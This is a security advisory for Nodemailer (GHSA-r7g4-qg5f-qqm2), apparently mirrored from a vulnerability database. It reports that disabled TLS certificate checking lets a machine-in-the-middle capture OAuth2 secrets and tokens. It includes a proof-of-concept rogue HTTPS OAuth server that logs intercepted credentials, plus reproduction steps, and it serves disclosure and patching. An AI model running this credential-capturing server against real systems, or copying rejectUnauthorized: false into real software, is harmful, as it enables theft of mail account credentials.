GHSA-R7G4-QG5F-QQM2
Vulnerability from github – Published: 2026-06-15 17:34 – Updated: 2026-06-15 17:34Summary
Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.
As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.
An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:
- OAuth client_secret
- refresh_token
- access tokens
The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.
Details
Root Cause
The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.
Inside:
lib/fetch/index.js
the request options contain:
rejectUnauthorized: false
This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.
As a result:
- self-signed certificates are trusted
- invalid CA chains are accepted
- hostname validation is bypassed
- attacker-controlled HTTPS endpoints are treated as trusted
This violates expected HTTPS security guarantees.
Vulnerable Flow
The vulnerable execution chain is:
OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted
PoC
Environment
Mail API (app/server.js)
const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();
const app = express();
app.use(express.json());
const transporter = nodemailer.createTransport({
host: process.env.SMTP_HOST,
port: process.env.SMTP_PORT,
secure: false,
auth: {
user: process.env.SMTP_USER,
pass: process.env.SMTP_PASS
}
});
app.post("/send", async (req, res) => {
try {
const { to, subject, text, html } = req.body;
const info = await transporter.sendMail({
from: `"Mailer" <${process.env.SMTP_USER}>`,
to,
subject,
text,
html
});
res.json({
success: true,
messageId: info.messageId
});
} catch (err) {
console.error(err);
res.status(500).json({
success: false,
error: err.message
});
}
});
app.listen(process.env.PORT, () => {
console.log(`Mailer running on port ${process.env.PORT}`);
});
Malicious HTTPS OAuth Server (poc/evil-oauth.js)
const https = require('https');
const fs = require('fs');
https.createServer({
key: fs.readFileSync('./key.pem'),
cert: fs.readFileSync('./cert.pem')
}, (req, res) => {
console.log('\n==== REQUEST INTERCEPTED ====');
console.log(req.method, req.url);
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
console.log('\nPOST BODY:');
console.log(body);
res.writeHead(200, {
'Content-Type': 'application/json'
});
res.end(JSON.stringify({
access_token: 'attacker_token',
expires_in: 3600
}));
});
}).listen(8443, () => {
console.log('Malicious HTTPS OAuth server listening on 8443');
});
Nodemailer OAuth2 Test (test.js)
const nodemailer = require('./');
const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
type: 'OAuth2',
user: 'redacted@example.com',
clientId: 'CLIENT_ID_REDACTED',
clientSecret: 'CLIENT_SECRET_REDACTED',
refreshToken: 'REFRESH_TOKEN_REDACTED',
accessUrl: 'https://localhost:8443/token'
}
});
transporter.sendMail({
from: 'redacted@example.com',
to: 'redacted@example.com',
subject: 'PoC',
text: 'test'
}, (err, info) => {
console.log('\n==== NODEMAILER RESULT ====');
if (err) {
console.error(err);
} else {
console.log(info);
}
});
Steps to Reproduce
- Start malicious HTTPS OAuth server:
- node poc/evil-oauth.js
- Run Nodemailer OAuth2 test:
- node test.js
- Observe intercepted OAuth2 request body on the malicious HTTPS server.
PIC
Impact
- OAuth credential theft
- unauthorized email access
- persistent token abuse
- unauthorized mail sending
- mailbox compromise
- interception/tampering of OAuth responses
The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.7"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:34:48Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nNodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.\n\nAs a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.\n\nAn attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:\n\n- OAuth client_secret\n- refresh_token\n- access tokens\n\nThe issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.\n\n### Details\nRoot Cause\n\nThe issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.\n\nInside:\n\n`lib/fetch/index.js`\n\nthe request options contain:\n\n`rejectUnauthorized: false`\n\nThis disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.\n\nAs a result:\n\n- self-signed certificates are trusted\n- invalid CA chains are accepted\n- hostname validation is bypassed\n- attacker-controlled HTTPS endpoints are treated as trusted\n\nThis violates expected HTTPS security guarantees.\n\n**Vulnerable Flow**\n\nThe vulnerable execution chain is:\n\nOAuth2 Transport\n \u2193\nXOAuth2 token generation\n \u2193\nInternal HTTPS fetch client\n \u2193\nHTTPS request with rejectUnauthorized:false\n \u2193\nAttacker-controlled/self-signed endpoint trusted\n \u2193\nOAuth credentials **transmitted**\n\n\n### PoC\n**Environment**\n#### Mail API (app/server.js)\n```\nconst express = require(\"express\");\nconst nodemailer = require(\"nodemailer\");\nrequire(\"dotenv\").config();\n\nconst app = express();\n\napp.use(express.json());\n\nconst transporter = nodemailer.createTransport({\n host: process.env.SMTP_HOST,\n port: process.env.SMTP_PORT,\n secure: false,\n auth: {\n user: process.env.SMTP_USER,\n pass: process.env.SMTP_PASS\n }\n});\n\napp.post(\"/send\", async (req, res) =\u003e {\n try {\n const { to, subject, text, html } = req.body;\n\n const info = await transporter.sendMail({\n from: `\"Mailer\" \u003c${process.env.SMTP_USER}\u003e`,\n to,\n subject,\n text,\n html\n });\n\n res.json({\n success: true,\n messageId: info.messageId\n });\n\n } catch (err) {\n console.error(err);\n res.status(500).json({\n success: false,\n error: err.message\n });\n }\n});\n\napp.listen(process.env.PORT, () =\u003e {\n console.log(`Mailer running on port ${process.env.PORT}`);\n});\n```\n\n#### Malicious HTTPS OAuth Server (poc/evil-oauth.js)\n\n```\nconst https = require(\u0027https\u0027);\nconst fs = require(\u0027fs\u0027);\n\nhttps.createServer({\n key: fs.readFileSync(\u0027./key.pem\u0027),\n cert: fs.readFileSync(\u0027./cert.pem\u0027)\n}, (req, res) =\u003e {\n\n console.log(\u0027\\n==== REQUEST INTERCEPTED ====\u0027);\n console.log(req.method, req.url);\n\n let body = \u0027\u0027;\n\n req.on(\u0027data\u0027, chunk =\u003e {\n body += chunk;\n });\n\n req.on(\u0027end\u0027, () =\u003e {\n\n console.log(\u0027\\nPOST BODY:\u0027);\n console.log(body);\n\n res.writeHead(200, {\n \u0027Content-Type\u0027: \u0027application/json\u0027\n });\n\n res.end(JSON.stringify({\n access_token: \u0027attacker_token\u0027,\n expires_in: 3600\n }));\n });\n\n}).listen(8443, () =\u003e {\n console.log(\u0027Malicious HTTPS OAuth server listening on 8443\u0027);\n});\n```\n\n#### Nodemailer OAuth2 Test (test.js)\n\n```\nconst nodemailer = require(\u0027./\u0027);\n\nconst transporter = nodemailer.createTransport({\n service: \u0027gmail\u0027,\n\n auth: {\n type: \u0027OAuth2\u0027,\n\n user: \u0027redacted@example.com\u0027,\n\n clientId: \u0027CLIENT_ID_REDACTED\u0027,\n clientSecret: \u0027CLIENT_SECRET_REDACTED\u0027,\n\n refreshToken: \u0027REFRESH_TOKEN_REDACTED\u0027,\n\n accessUrl: \u0027https://localhost:8443/token\u0027\n }\n});\n\ntransporter.sendMail({\n from: \u0027redacted@example.com\u0027,\n to: \u0027redacted@example.com\u0027,\n subject: \u0027PoC\u0027,\n text: \u0027test\u0027\n\n}, (err, info) =\u003e {\n\n console.log(\u0027\\n==== NODEMAILER RESULT ====\u0027);\n\n if (err) {\n console.error(err);\n } else {\n console.log(info);\n }\n});\n```\n**Steps to Reproduce**\n\n- Start malicious HTTPS OAuth server:\n- node poc/evil-oauth.js\n- Run Nodemailer OAuth2 test:\n- node test.js\n- Observe intercepted OAuth2 request body on the malicious HTTPS server.\n\n**PIC**\n\u003cimg width=\"1919\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516\" /\u003e\n\n### Impact\n\n- OAuth credential theft\n- unauthorized email access\n- persistent token abuse\n- unauthorized mail sending\n- mailbox compromise\n- interception/tampering of OAuth responses\n\nThe issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.",
"id": "GHSA-r7g4-qg5f-qqm2",
"modified": "2026-06-15T17:34:48Z",
"published": "2026-06-15T17:34:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-r7g4-qg5f-qqm2"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.